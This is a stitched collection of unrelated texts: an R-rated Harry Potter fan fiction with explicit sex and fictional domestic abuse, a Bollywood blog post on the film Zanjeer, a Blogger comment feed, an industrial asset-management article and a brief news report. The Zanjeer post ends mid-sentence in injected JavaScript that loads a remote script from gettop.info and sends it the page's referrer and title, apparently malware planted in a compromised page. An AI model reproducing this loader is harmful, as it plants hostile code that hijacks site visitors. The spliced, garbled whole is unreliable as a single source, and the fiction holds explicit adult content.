Genre:Romance/ Drama/ Future fic
Rating:R to be safe
Warning:R rated material between Snape and Tonks and Snape and OC.
Word Count:6,245
Summary: Ten years on from Deathly Hallows and Snape is considered both sex idol and celebrity, as are most of the members of the Order of the Phoenix. Lupin, now a friend asks Snape to take care of his family on the full moon, and slowly Severus begins to fall for the beautiful Tonks…
Author's Notes:My first SSNT fic! Eek! Hopefully its okay and I had great fun writing it. Hope you enjoy.
To feel longing, desire.
To be filled with pity, tenderness.Part I: Denial
"Mrs. Snape? Mrs. Snape, a word if you please?" cried the reporter just as Cassandra; wife of the legendary Severus Snape slammed the door in his face.
Walking up the stairs of the large hotel, Cassandra undid the bun her hair was in and let the black curls spiral down onto her shoulders. She was wearing red robes and was not unaware of the looks the staff at the hotel were giving her. She used the key card to unlock the door of the penthouse suite and quickly shut it.
"How was your walk?" asked her husband from the luxurious bed, reading the Daily Prophet.
"I got jumped by reporters outside the hotel," she muttered before undoing her coat and settling herself down on the bed.
"Tired of being the wife of the most loved, most wanted wizard on the planet?" Severus asked before placing his paper down.
"Not at all," Cassandra replied before placing a chaste kiss on her husband's lips.
Severus let a rare smile escape his lips and settled down on the pillows while he watched his wife undress. Ten years ago, Voldermort had been defeated. Harry had become a legend and a celebrity, until the fame had driven him and his wife into hiding. Shortly after, Percy Weasley had written a book entitled 'Harry and the Horcruxes', illuminating the tales of the Order and making their members famous, especially Snape. After this rise in sex appeal, he had taken to being with Cassandra Dawson, an attractive half blood writer who specialised in wizard novels. They had grown to be friends and had eventually married to stop the influx of offers.
"So, dinner with Remus and Dora tomorrow?" Severus asked, turning towards his wife who was now down to her undergarments. She had a passion for purple clothing.
"Do we have to?" whined Cassandra, joining Severus on the bed.
"Remus is the only one from the Order who will talk to me. And for some reason, god knows why, Nymphadora actually likes you."
"She likes my books."
"Stop moaning."
"Stop nagging."
"You're supposed to be the wife, not me."
"Sarcastic bastard."
Cassandra was about to reply when she felt her husband's lips crash down on hers. She was forced to the bed as Severus stripped off his shirt. As she felt his hot mouth connect with her skin she lost herself in the moment. Desperate not to let him get the upper hand, she flipped him round and straddled him. Cassandra placed one passionate kiss on his mouth before letting go of him and walking to the bathroom.
From there, she shouted to her very hot and bothered husband:
"Fine, we'll go to dinner!"
The next day, Severus was walking down Diagon Alley on his way to get potions supplies. As his position at Hogwarts was impossible to get back, he was now working as a potions master on commission. He had released a new book for the Hogwarts students which was very popular, but apart from that he liked to stray away from the fame.
Humming some tune that he wasn't aware of, Severus nipped into the apothecary. He gained a shot of himself in the doorway as he walked through. His hair was no longer long and greasy, instead it had been clipped short (by Cassandra herself no less) and was washed every other day (still by Cassandra). His clothes were less dark, leading towards more blues and greens. Cassandra insisted on doing all his shopping, so he could stop be 'less of a miserable grump'.
"Morning monsieur Snape. Good day, yes?" asked the French proprietor. Severus just nodded and passed over a list of the things he would be requiring from him.
Even though he had been on the orders of Dumbledore himself, several members of the order could not forgive him for causing his death. Lupin had forgiven him as he had saved his wife's from the hands of Bellatrix before he had gone over to face his death from Voldermort. Tonks, foolishly, had followed and had saved Severus' life in return, while Hagrid had rescued Remus, The two households had become friends, and Severus had assumed godfather duties over Teddy when Harry had left the country.
It was a week to the full moon, and Lupin would be requiring his wolfsbane potion. Severus always brewed it in advance just to make sure there was nothing wrong with it. He wanted nothing foul to come over Nymphadora or Teddy. Severus was loathed to admit it, but over the years the girl had grown on him.
"Like a fungus," Severus muttered, looking up just as the owner came out of the dimly lit back room.
"Monsieur Snape, I am very sorry. Unfortunately, several of these items are prohibited due to Ministry regulations. They are used in brewing wolfsbane. I am being sure that that is not what you are making, but I still cannot sell you them," he explained and Severus just nodded. Kingsley Shacklebolt, minister for magic, had told Cassandra at a party that several new regulations were being put in place to draw out rabid werewolves. This was obviously one of them.
Unfortunately, without the wolfsbane, Lupin would not be safe with his family. Well, it was going to be a very interesting dinner tonight, Severus thought by disapparating out of the street.
Dinner had been very successful, with Lupin and Snape exchanging stories and Cassandra and Tonks discussing her new book. Teddy had joined them for some of the dinner but quickly departed to watch the television the Auror had insisted be installed. Severus had noticed that Teddy had sat next to Nymphadora rather than Lupin, like he was avoiding his father. He suspected it had something to do with the hours that Teddy was watching television, and the yelling match they had heard just as they were entering the house. While Severus reflected on it, the two women went to clear up, leaving the two men alone to discuss potions.
"Have you started on the wolfsbane yet Severus?" Remus asked through mouthfuls of apple pie. Severus shook his head, contemplating the coffee before him. They may have had their differences in the past, but Lupin was a good friend now and he hated to do this to him.
"The ministry is stopping anyone from buying Asclepiad juice. I talked to several apothecaries today, and its Azkaban for anyone caught buying or selling it. My contact in the black market business says it's just not worth the risk. There are only two potions it's used for: wolfsbane and a particular obscure anti hiccoughing potion. I can't get hold of the juice and therefore cannot make the potion. I would if I were able but seeing as I'm not…" Remus put a hand up to stop his friend there. He understood.
"It's fine Severus, you tried. I'll have to use Grimmauld place to change, no one goes there any more, no one. I just hate the idea of leaving Tonks and Teddy alone, there's so much anti-werewolf prejudice out there, I don't want her and Teddy by themselves."
Severus did not mention that Tonks was the more skilled out of them both when it came to fighting; she was an Auror after all. But, in polite courtesy, he nodded along. It was then that Cassandra came back out and announced that it was time to go home.
They were staying in a hotel in London for the moment, before they could return to Spinner's End where they lived. The area was so dank and dreary that no one would look for two 'celebrities' there. Cassandra had a new book coming out, and was due to have several signings in the wizarding areas around London. When they got to their hotel room, it was completely dark. It didn't take too long before Cassandra had pushed him up against the wall and buried her tongue deep into his mouth.
Severus soon recovered and had his wife on the bed in a matter of seconds. With a quick wave of his wand they were naked. Cassandra chucked his wand over his shoulder and brought her husband down for a long kiss. Desire was present in both of their faces, and as her mouth moved lower down his body, Severus lost all thought of the wolfsbane potion.
While the Snape's were engaging in a very vigorous activity, Remus Lupin was learning on how to duck. Worried about his family, he had come out with a situation about how to protect them and also let his wife have some time off from looking after ten and a half year old Teddy. Tonks, on the other hand, was not fond of the idea and had thrown a bowl at her husband's head.
"How could you? How could you even suggest this?" Tonks yelled at her husband, grabbing another piece of crockery.
"I don't want to leave you alone. Werewolf sympathy is still not a widespread process. I don't want you or Teddy to get hurt!" Lupin yelled back, dodging a plate that smashed on the adjacent wall.
"I am an Auror, if you hadn't forgotten Remus Lupin! I can take care of myself!" she cried, before settling herself down on one of the kitchen stools. "If you have to be gone for three days then me and Teddy can go without. I don't see why Severus bloody Snape has to baby-sit us!"
"Just in case, Tonks. Just in case. Teddy is a right handful now; he's getting excited about Hogwarts. Severus can teach him about potions and defence against the dark arts as well as look after him in the evenings. You can have a break, go out with your friends, and stop worrying about him. It's only three days Tonks," Lupin replied, before going over to his wife and letting her head rest against his chest.
"Fine. But if I don't find it working out at any time then I will say so and you will have to stop it. Okay?" her husband nodded and let his wife settle into his chest. Their marriage wasn't easy, but he would make it work. He promised Harry that he would.
Part II: Betrayal
The morning of the full moon came and went. Tonks had gone out early in the morning to work in a grump, still slightly angry about her husband's decision. Severus had come over about ten, just as Remus was departing to get things ready for Grimmauld Place. As his father left, Teddy came down the stairs and looked patiently at his 'Uncle' Severus.
"Where's Dad going?" he asked, looking up expectantly.
"Away for a few days on a teaching course. As we are discussing learning, it makes sense to begin your lessons on potions. Come on boy, to the kitchen."
Teddy was an over friendly and definitely over eager child. At the age of four he told all the neighbourhood children that his family were wizards and witches. The Lupin's had to move after that. It was because of their son's easy and sharing nature that he had not told them about being a werewolf. The ministry were only letting Lupin run free, as the Minister and he were old friends. If Kingsley weren't in such a position of power, then he would be hunted down like the dog that he was three days out of the month.
Severus was a very kind teacher to Teddy because he wasn't a bad potions maker. His mother had taught him cooking from a very early age and that had definitely helped his skills. The young Lupin rarely made a mistake with the basic potions, and by lunchtime Severus was severely impressed. They decided to go out for a walk at lunchtime and get some fish and chips. The two males walked in silence down the London embankment until Teddy spoke.
"Do you know what happened to Uncle Harry?" he asked, putting his hand in Severus'. Unable to wrench the boy's sticky fingers from his own, Severus kept them clasped.
"He had to leave the country with Aunt Ginny and Albus, James and Lily. Your Uncle Harry didn't like what his fame was doing to his family so they left. He should be back in a year or two though; James is nearing eleven and will be going to Hogwarts. He said he would return when that happened," Severus replied and the young boy seemed satisfied with his answer.
That afternoon, Teddy made some notes from a book while Severus typed up a few instructions for a new potion or two. He was thinking of writing another book. By five o'clock, Tonks was not home and Severus was beginning to worry. The moon was full now, and he wondered if she had gone over to see her husband. It would be a very stupid thing if she did. Lupin had some cast iron chains with a hint of silver that kept him locked and secure so he couldn't break through. Still, he was a very dangerous man when in wolf form.
The two ate dinner, some cheese, and crackers with the left over fish and chips. Teddy had saved them, not sure of what was going to be his third meal of the day. Afterwards, the boisterous ten year old had dragged his uncle over to the settee and they settled down to watch a dodgy film on the television. The narrative was too tiresome for Severus, and he ended up falling asleep.
When he woke up three hours later, he found Teddy asleep on his lap. Shifting the small boy he carried him up the stairs and put him to rest under his dinosaur covers. It was there that he heard a small muffling coming from the bathroom. Shutting the small boy's bedroom door, Severus walked over to the sound quietly and pushed open the barrier between them.
Sitting on the edge of the bath was Nymphadora Tonks, her Auror robes dirtied and bloody. On her face was a large gash, made by a werewolf. She had gone to see her husband. Stupid girl.
Severus didn't say anything however. Instead, he took up a flannel from the sink and started washing away the dirt from the wound. Werewolf wounds had to be treated carefully, although it was only bites that transmitted the curse. Going downstairs, he made a concoction involving silver that made the young woman hiss when he put it on her wound. After cleaning it up he escorted her to bed and made sure that she was well beneath the covers before walking himself to the spare room.
And there he slept, incredibly tired out by the Lupin's.
The next day, Severus had been woken early by Teddy bouncing on the bed. Grabbing him by his legs, he turned the poor boy upside down and took him to the kitchen where they made breakfast together.
"When did Mum come in last night?" Teddy asked, his mouth full of bacon.
"Late. She wanted me to tell you that she was sorry she couldn't put you to bed last night, but something came up at work. Now eat your breakfast and then get dressed. I want to start nice and early on basic defence spells."
After eating his breakfast Teddy had rushed to the living room to watch cartoons. Severus had gone upstairs to get dressed and was in the middle of peeling off his sleeping shirt when Tonks came out of the bathroom. In a towel. In just a towel. The cut was still visible on her face, but it was healing ever so slowly. The mental scars, of being hurt by her husband (albeit in werewolf form) would take longer to fix.
"Thank you for last night Severus," and that was all she said before walking quickly into her room and slamming the door. Mentally shocked by the fact that he had just seen Nymphadora Tonks in a towel no less, Severus shook his head. Now wasn't the time to get inappropriate thoughts about someone he was going to live with three days out of the month.
By the time Severus was dressed and ready for today's lessons with Teddy, Tonks had already gone to work. Teddy was looking miserably at the door where his mother had departed. Completely out of character, Severus put a comforting hand on the boy's shoulder to reassure him that everything was going to be okay. Teddy and his family reminded him so much of his growing up. A violent father only a few days out of the month (usually after pay day when he could drink) and a workaholic mother who let his father hit her because she loved him so much and couldn't bear the thought of leaving. And the son, who looked at the door where his parents had just left.
Deciding that Teddy needed a treat, he asked the boy if he would like to go out for the day. The boy eagerly agreed and the two went into London. They were joined with Cassandra middle of the way through the morning who bought them lunch at the Ritz (where Teddy had a cheeseburger, much to the Snape's amusement). They then went trailing into old bookshops and the young boy was bought a ton of Stephen King to keep him happy.
They returned home to find a note from Tonks on the fridge, which said she would be home late again. The two males ate sandwiches for tea and then followed it by reading. Once again Severus had to carry the boy to bed after he had fallen asleep. Once again Severus had to wash the blood off Tonks' face who was determined to be there for her husband. Once again he slept, incredibly tired out, but this time dreaming of drunken muggles and helpless witches. And him, the beaten son.
The next day passed without incident, and on the Friday Lupin returned home at teatime to find Severus and Teddy eating crackers and discussing the merits of Stephen King compared to Thomas Harris. About half an hour after his arrival, Tonks rushed through the door, her face covered in scratches. Lupin's eyes were on fire when he saw them. He knew roughly that someone had been there when he changed and he had attacked him or her, but he had no idea that it would be his wife.
Severus departed the household, waving goodbye to Teddy. Just as he was about to disappear off the pavement, he could hear the distinct sounds of a large-scale argument erupting from the house. Turning towards the window that he could see, Severus could make out Teddy sitting there, tears running down his face.
The next few months went in exactly the same pattern. Severus would arrive on the first day and spend it with Teddy, and the next three days thereafter. Cassandra would meet them on the middle day and take them out somewhere nice for lunch. Tonks would come home late in the evenings, her face covered in scratches and wounds that Severus would have to treat. And when he finally left when Lupin returned, Tonks and her husband would argue and Teddy would stare out of his bedroom window.
That was the way of things until Kingsley made a very good suggestion. Sick of seeing his head of the Auror office covered in cuts, he said that Lupin should change places. And not tell Tonks. The first night he did that, she came storming home in a foul mood and got into an argument with Snape. He had not known of the plan, but asked her to keep her voice down for Teddy's sake. That earned him a slap and a slammed door.
She eventually tracked him down on the third night at the Shrieking Shack, but Kingsley, who had been sent to watch over Remus from outside, sent her away. The chains were still holding, but anyone who came within a five-foot radius of the werewolf was likely to get clawed.
Things still did not improve. Tonks did not come home early to see her son; instead she went out drinking with her friends and coming in late at night sloshed. It was once again Severus who had to put her to bed. It was only at November, six months after the start of Severus staying, that there was a real turning point. Tonks had done her homework and had worked out when the December full moon was: Christmas Eve, Christmas Day, and Boxing Day. On explaining this to her husband, another argument had started.
When Severus arrived, Teddy came charging down the stairs and straight into his arms. They hugged, and Severus let the boy cry a little onto his robes. Looking up the stairs, he could see that Tonks was watching them. When they met eyes for a moment, she turned away. Severus picked up the boy and carried him to the sofa where they watched television for a bit.
After that, the first day went like any other, but with one minor exception. After Cassandra had spilled to Kingsley that Tonks was avoiding Severus like the plague, he made her have one mandatory week off to spend with her son. It just so happened that this coincided with the full moon. This caused another argument, this time between Tonks and Kingsley that caused him to go pink for a fortnight.
Teddy was playing with Boris, George Weasley's son in the garden while Severus and Tonks were in the kitchen. She kept staring nervously at him, like he was going to yell at her for being a bad parent. Tonks knew that everyone in their little circle of ex-order members had been talking about it.
"Go on, say it. I know you've been dying to. Tell me what a bad parent I am," Tonks announced, settling her teacup down on the table.
"I don't think you are a bad mother. I just think you should put Teddy first instead of your husband. Your son needs you," Severus urged, putting his cup down as well. However, this seemed to be the wrong thing to say as Tonks stood up sharply from her seat and glared at the former potions master. This was why marrying your best friend was better, there were no strong emotions involved.
"Where in Merlin's name do you get off telling me how to be a parent? You have no children! You scared the living daylights out of kids when you worked at Hogwarts! I know, I was one of them!" Tonks cried back, and felt a gush of wind as Severus quickly placed a silencing spell on the room and shut the door.
"I know what it is like to be a child whose parents fight all the time! I know what it is like to sit up and cry in your room wishing for someone to stop the screaming. I know what it is like to have an absent father and a scared mother…"
"Really?" Tonks interrupted, causing Severus to roll up his sleeve harshly. She thought he was going to show her the dark mark until Tonks realised that it was the wrong arm. On the other limb was a burn scar just above the elbow.
"My father was a drunk. My mother loved him so, more than she loved me. Don't make the mistakes she did in not protecting her only son," Severus hissed before grabbing both cups and flinging them into the washing up bowl. Ignoring Tonks, he scrubbed the crockery hard, taking out all his anger there instead of at the woman behind him.
Without warning, he felt a pair of arms encircle him from behind: Tonks'. She hugged him fiercely, inhaling his scent before whispering into the soft fabric of his back:
"Thank you Severus."
After that, they had a talk about things. Severus only sneered twice.
The next two days went swimmingly well, so well in fact that at the end Severus didn't want them to stop. Tonks helped teach Teddy potions, even laughing when her potion ended up spewing green slime over the older male. She cooked dinner, and even let Severus help on occasion. On the middle day, Severus took them out instead of Cassandra and they had a fantastic time. Tonks had persuaded them to go see the muggle attraction of the Tower of London, which Severus readily enjoyed. At the end of the day they watched one of Tonks' romantic comedies that she had a penchant for. Teddy fell asleep in his chair, occasionally letting out a snore. Tonks in the mean time had started off sitting next to Severus on the settee, and then gradually ended up lying on top of him, with him stroking her hair.
When Severus woke up the next morning, he felt deliriously happy, but couldn't figure out why. He cooked breakfast for Tonks and Teddy and then tried some defence spells out with both of them (including turning the Auror's legs to jelly, much to the amusement of her son). Teddy left mid afternoon: he was sleeping over round George and Boris'. That left Tonks and Severus to their own devices, and once again cuddled up on the sofa.
Tonks couldn't believe the change in Severus Snape over the past ten years. Cassandra's influence had mellowed him, and the occasional babysitting job of Teddy or James seemed to have calmed him. The television program was ending shortly, and so would her three day's with him. After his revelations and his intervention, she felt much, much, happier with him around. So happy, in fact, that she kissed him.
She didn't mean to. The lights were low, only a lamp was on. They were cuddled together in such a short space and in one instant they turned towards each other. Their noses were almost touching and the other person was so close. Tonks bridged the gap between them and placed her lips lightly on his. Severus stroked her face gently as he pulled away and then went back to her. The kiss wasn't passionate, not movie style. Just a gentle kiss between two people who longed to spend more time together.
After the kiss was over, they settled back into holding each other. Later that night they walked each other to their doors and said goodnight. When Tonks woke up that next morning, so happy with what had happened last night, she found that Severus had gone.
xxxPart III: Acceptance
Cassandra was not expecting her husband home so early in the day, but Severus arrived for breakfast at Spinner's end. She looked up from her typewriter (her instrument of choice, her muggle father had gotten her into it) to see his face flecked with guilt. She stood up from her chair and walked over to her husband and placed her forehead on his.
"Tell me what's wrong Severus," Cassandra whispered, drawing him into a hug. After boiling the kettle and getting out a plate of biscuits, Severus whispered what had happened with Tonks. And then Cassandra did the only thing she could do: laugh.
"So you kissed her. Did you want to sleep with her?" She asked, looking at Severus who was slightly confused at his wife's reaction.
"No. I just felt butterflies in my stomach. The last three days have been such a dream: me, Teddy and her were like a little family. Just feeling her lips on mine was like…bliss. Bliss in a bottle," Severus announced and turned nervously towards Cassandra. She was taking it better than he expected.
She left her chair and sat on her husbands lap. Cassandra tucked her hands around his neck and nudged her nose against his forehead.
"Remember why we got married Severus? You couldn't deal with all the female attention, especially those who had charmed themselves to look like Lily. I couldn't deal with all the men who bedded me and sold the story to the Prophet. Severus Snape, we are best friends who got married to protect ourselves. Remember the bargain we made just before we slept together for the first time?"
"If we ever fell in love for real, we would end it."
"Is it time for us to end this marriage, Severus?"
"I don't know."
Cassandra turned to her friend and smiled for a moment. She cupped his face with her hands and planted a chaste kiss on his lips.
"You've come along way Severus Snape," she said before getting up and returning to her writing.
While Severus had been fully honest with his other half, Tonks had been less than so. When Remus had returned, she had tried to be normal towards him. But all she could remember was the taste of Severus Snape on her tongue. Something so gentle, something that Remus had given her once. Thinking in the kitchen, she unconsciously raised her hand to her cheek were the cuts remained underneath her skin. When marrying Remus Lupin, she had known what he was. Even watching him in their cellar sleeping peacefully on the floor she knew what he was. But now, after seeing him fully, her feelings were changing.
Teddy was playing on his television while Tonks watched. He was smiling for the first time in months, and she didn't know why.
"Why are you so happy Teddy?" asked his mother, flicking through the latest Cassandra Snape novel.
"It's nearly Christmas." Was the reply she got and Tonks couldn't help but smirk. She loved the Christmas spirit just as much as a child did.
"Uncle Severus is coming at Christmas," Teddy said afterwards, using the controls of the game station to shoot another man.
Later on, lying next to her husband, Tonks realised that Severus had replaced Remus in the eyes of Teddy. He was a non-violent adult who understood Teddy. He was firm but fair and loved him, she thought. A gentle snore from her husband brought her back to reality. Remus rolled over, exposing the cuts on his back.
She needed Severus. She longed for him to be the one lying next to her. When she had readily avoided him, he was pleasant to her. When she had ignored his and her husband's given advice and gone to Grimmauld Place, he had patched her up. When she was broken, he put her back together. And yet she would have to wait another month to see him again: where Severus went during his months away from his wife's circuit were unknown. But one thing was for sure: a month couldn't go quick enough.
Christmas Eve came, and Lupin stormed out of the house bound for the Shrieking Shack. Tonks had become worried about the effect that their arguments were having on Teddy, but Remus didn't agree. They didn't argue much anyway, and it was all to do with his curse. The argument stayed buried for the rest of the day until four when Cassandra turned up wanting to talk to that 'strumpet Auror'. Remus then found out that his wife had kissed his friend and what happened after was not pretty.
Severus knocked on the door, desperately jolly and with his first ever-proper apology. He wanted to say sorry for leaving so early a month ago, and had brought a bottle of wine to ease the tidings. The door swung open to see a red eyed Nymphadora Tonks, who promptly buried herself in Severus' chest.
After he had calmed her down and wiped her eyes with a flannel, Severus settled her down to talk.
"What's wrong Tonks?" He thought calling her by that would help her talk. How wrong he was.
"Don't call me that. It's what he calls me."
"Fine then. What's wrong Dora?"
She nodded at the new nickname and rolled down the scarf she was wearing, which showed red finger marks. Severus swallowed. Lupin was usually a sensitive and gentle soul, but a few days before the fool moon increased his anger and strength.
"He found out that we kissed, from your wife no less, and went ballistic. Then he shouted at Teddy and left. I think for good." Tonks said, straining to get the words out.
"Bloody Cassandra. I said I'd deal with Lupin myself, but she had to bloody get involved."
Teddy, hearing another voice in the house peered down over the banister and saw his uncle. Running down the stairs two at a time, Teddy leapt on Severus and hugged him tightly. He hugged him back, realising that this was an exact replica of his Christmas thirty years ago. Except, unlike Tonks would, his mother accepted his father back with open arms. She wouldn't do that, she knew better. It felt like hours but was so little time in reality that Severus held two fragments of a broken family in his arms. For him, it was everything he had longed for, for so many years.
A quick conversation in the fire with Cassandra sorted out things with her, and Severus couldn't miss the wink that he gave him. Neither did Tonks, and on a walk to see the London Christmas lights, he explained everything about their relationship, or rather lack of. Back at the house, Teddy started getting the presents under the tree and sung rather loudly and off key. After he was put to bed, Severus and Tonks settled down on the settee and watched a film.
"If you could have one thing in the entire world, what would it be?" Tonks asked him, pulling the bowl of Christmas chocolates towards her.
"When I was little, every Christmas I asked for a loving family. I wished on my birthday, and one year I even wrote a letter to Father Christmas saying so. My neighbour made me write, don't give me that look," Severus said, stroking Tonks' hair and kissing her lightly on the top of her head.
"And now?"
"You and Teddy. No question."
"Ditto," Tonks replied before kissing Severus lightly on his lips. For the first time in her presence, he had smiled, and she loved it. The kiss deepened, but it was slow and languid. His hands were in her hair that quickly changed to her trademark bubblegum pink. Pulling away from the kiss, Severus gathered her hands together and kissed each one. He then pulled her up and escorted her upstairs.
Once there, he kicked the door closed of the master bedroom and headed to the spare with Tonks in his arms. As soon as the door was shut and the lights on, they were kissing each other, hands on each other. Slowly, Severus kissed Tonks' neck, drawing a moan as he made his way down to her collarbone. He pulled off the Weird Sisters t-shirt she had on, leaving her in a red brassiere, which Severus deftly removed. Looking at her bare chest, Severus felt his trousers tighten. She was the most beautiful thing he had ever seen.
As he leant her gently on the bed, he kissed her lips chastely. His mouth moved downward, licking and sucking on her skin before he moved on to nuzzling her breasts.
"I thought you would be rough and quick, not long and sensual," groaned Tonks as he undid the zipper on her jeans. Pulling the material down slowly he smirked as he responded.
"Shows how much you know."
"I'd like to. I'd really like to."
"So would I."
He kissed the inside of her thighs, causing more moans from her. Using his teeth, he slowly removed her underwear and turned his attention to other, more interesting parts. His tongue was most certainly skilled as Tonks was slowly brought to a quaking climax as he sucked on her clit.
After recovering from her most pleasurable ordeal, she turned her attention to him. Tonks unbuttoned his shirt and slowly unwrapped him like a present. When they were both naked, he pinned her hands above her head and linked them with his fingers. They brought their heads together for a passionate kiss before he entered her. And then everything went hazy for both of them.
On Christmas morning, Tonks and Severus woke up together. She put on his shirt and he a pair of underwear before returning to each other and slowly kissing each other. A knock on the door alerted them to Teddy's presence, and Severus used his wand to open the door and let the ten year old in. Bringing with him all the presents he had put under the tree last night.
Sitting on the bed, they unwrapped presents, including the ones that Severus had brought over for him. Once Teddy had done his, he left the pair alone and raced downstairs to play. Tonks snuggled up to the bare-chested ex-potions master and let a contented sigh escape her lips. Even though he wasn't particularly keen on the idea of an afterlife, Severus believed that a certain white bearded wizard was behind this. Tonks had what she always wanted: a partner who was loyal to her and Teddy. And Severus had what he had always yearned for, longed for: a family that had no drunks. No doormats. No crying sons.
Just a family who cared for each other. A family that was full of grace.


text:
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The countdown has begun! Manage through the week and you can treat yourself with Zanjeer this weekend. With just few days left for its release, lets see who's playing who. What is this movie? A remake of old Zanjeer or an entirely different movie? And if it's a different movie, the why is the star cast so similar and why does the movie give us a deja vu? So many unanswered question. Cannot wait till Friday! Until then, lets play fool with speculations.
Ram Charan
You guys must have had watched the trailer already. And you pretty well know that this southern hottie plays the role of ACP Vijay Khanna aka Amitabh Bachchan. I don't know what gets into my mind every time I watch the trailer, but I end up repeating, acp Vijay Khanna, ACP!!! For a very long time.
Priyanka Chopra
Priyanka Chopra plays the character of Maya, a non residential Indian who flies from one of the most expensive zip codes on earth to attend a wedding. But as fate would have it, she ends up being the sole witness to a murder.
Sanjay Dutt
Yaari hai imaan mera, yaar meri zindagi. True that! Sanjay Dutt plays the character of Sher Khan. He is not with Vijay but ahead of Vijay protecting him from all the evil forces that are conspiring against him.
Prakash Raj
Smart boy! Oh wait, that was Robert. We are talking about Teja here and who better to play the role of an ultimate badass than Prakash Raj? He is like the best villain to happen to Bollywood after the bald villains like Shakal and Mogambo!
Mahie Gill
She isn't a newbie anymore but she isn't excatly old in Bollywood either. Mahie Gill portrays the role of Mona Darling and given her past experience in movies like Paan Singh Tomar and Dev D, we are pretty sure that she is going to nail it!s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + "; s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ";


text: tag:blogger.com,1999:blog-1889046160451485982.post7618254077211039035..comments2015-10-19T07:18:10.081-04:00Comments on THE CRISPY COOK: A Book Review and Some Down Home Russian Cooking with Anna: Heart of a Peasant, by Carol Marie DavisRachelhttp://firstname.lastname@example.com:blogger.com,1999:blog-1889046160451485982.post-15473860352826775872012-02-13T03:18:49.907-05:002012-02-13T03:18:49.907-05:00I love that a few of us took our inspiration from ...I love that a few of us took our inspiration from the cabbage soup with different variations. ;-) So great that you have this book for your family. Thanks for letting me be a part of reviewing it--your mom is very talented. Hope you get a chance to check out my review post.Deb in Hawaiihttps://email@example.com:blogger.com,1999:blog-1889046160451485982.post-52868972487066196592012-01-24T16:19:36.854-05:002012-01-24T16:19:36.854-05:00I liked that you added another side of the portrai...I liked that you added another side of the portrait, we are all a mixture of traits and it makes her even more believable, especially considering what she went through. I'm enjoying my reading of your mom's book.Claudiahttps://email@example.com:blogger.com,1999:blog-1889046160451485982.post-41879767463396540012012-01-19T00:32:37.071-05:002012-01-19T00:32:37.071-05:00I made that soup for dinner and I loved it! I thin...I made that soup for dinner and I loved it! I think that telling the story of her life is a great way of honoring Anna. She went through a lot. I guess I should keep other thoughts for my upcoming post, shouldn't I? I love the photo with the Russian dolls.Simonahttps://email@example.com:blogger.com,1999:blog-1889046160451485982.post-65201987048373782812012-01-15T17:59:18.322-05:002012-01-15T17:59:18.322-05:00You should be proud! What a great achievement fo...You should be proud! What a great achievement for your mom. I hope you share some more recipes with us and I will look for reviews and recipes from for Deb, Claudia, Heather, et al. (It is funny what perceptions we have of our ancestors.)Eliotseatshttps://email@example.com:blogger.com,1999:blog-1889046160451485982.post-34423046364787198242012-01-13T16:45:52.535-05:002012-01-13T16:45:52.535-05:00I still don't believe that the woman in the co...I still don't believe that the woman in the cover photo is your mother! Great to get the insight from your memory of the family stories (poor kittens).Foodycathttps://firstname.lastname@example.com


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How DOM can help improve communication between design and MRO teams
Asset management can make or break an operation, but how can it remain manageable when systems become more multi-tiered and complex?
IFS, a global enterprise applications company, is no stranger to the ERP (enterprise resource planning) market—and, says the company, more and more emphasis must be placed on implementing greater communication between the various entities of a facility—namely those designing it during the contract phase, and those working on the MRO side.
The DOM Reality
According to a white paper on the topic (Realize The Benefits Of Design, Operate, Maintain Today, June, 2006 (1), authored by Christian Klingspoor, an IFS AB Senior Asset Lifecycle Management Advisor [1]), "As gaps in communication between design and operations/maintenance have widened, consulting engineers often have been free to design simply to meet a particular capacity increase outcome. Design data is developed separately, often on different platforms, from those used by manufacturing operations and maintenance personnel who will live with the industrial design into the future.
"Currently, an ISO data standard for this information is being developed, and that standardization should at least allow in-house staff and outside design consultants to more seamlessly communicate and share data that leads to greater industrial efficiency. But even before this ISO 15926 standard is finalized, there is plenty that maintenance and plant operations professionals can do to make DOM a reality today."
Integration, Communication
The key to this seems to be in the consistency and availability of relevant information once operations begin—especially in relating to maintenance concerns. As an example, Klingspoor goes on to describe the crippling downtime that could occur on a hypothetical renovated production line when "the switch has just been thrown." In the event of a sudden outage in this scenario, what happens if the necessary information maintenance personnel might need to address the outage is buried somewhere "in a stack of CDs and binders left by the consulting design engineers"?
In response to these types of concerns, among others, DOM is designed to keep operations and maintenance information in an easily-accessible format. Says Klingspoor, "It will also be important to have an asset management system with a layered architecture. This will enable you to view information on projects as they are in the design phase, and track them through the construction and design."
In addition, says Joakim Fransson, Senior Advisor, IFS Global Industry Group, having this design information in advance can save users valuable time in the long run: "You should be able to start uploading data from an engineering contractor way before you're actually going into operation, meaning you can start working with a preventive maintenance program."
Where (& Who) To Start
According to Fransson, different types of manufacturers will accrue varied benefits using DOM. "Basically, there are three main scenarios that you might work with," explains Fransson. Typical applications could include:
- A "green field" situation, where you've acquired a new plant where everything is uploaded and you basically get everything "in one go."
- You have some sort of a retrofit overhaul process, where there are larger chunks being re-designed, re-built and then put into operation again.
- You have an ongoing maintenance procedure, with smaller types of redesigns, or alignment of the production process.
Maintenance, Early In The Game
One of the most critical elements in this relationship between designers and facility personnel is that plants can get a leg up on maintenance. Explains Fransson: "The quality assurance of the commissioning phase is—in a fully functioning system—before you operate it. So as soon as the 'bits and pieces' are decided within the engineering and contracting environment, you get a copy of it into the asset owner environment.
"The status of the product is set so it is working in a plan for operational fashion. You start working with your preventive maintenance, and everything that goes into the data that is required—like spare part planning for example. You can also hook that up to commissioning pieces—so from an owner-operator perspective, you'd be able to watch the plant grow and actually go through mechanical completion packages to see that everything goes into what you have ordered.
"If you look at design, operate, maintain: there needs to be these two pieces-- design and maintenance-- and they need to be more tightly glued together."
1. Christian Klingspoor, Realize The Benefits Of Design, Operate, Maintain Today, IFS, June, 2006 [1]
For more information, visit www.ifsworld.com [2]


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U.S. Missionary Killed in Belize
A Roman Catholic missionary to Central America was shot to death in his pickup truck last week in an apparent robbery, authorities said.
According to the Associated Press, police were holding a suspect over the weekend in the Mar. 11 shooting of 64-year old Don Kostecki in Belize. Investigators believe he was attacked while inside his vehicle and dragged out by his assailant, who made off with some belongings.
"Attacks on priests are rare in Belize on the whole, but there is crime in the area," said Belize Police Department spokesman G. Michael Reid, according to AP.
After retiring as a hydrologist, Kostecki moved to Belize and was ordained as a deacon last July. He had served as a papal volunteer in Belize in the mid-1960s.
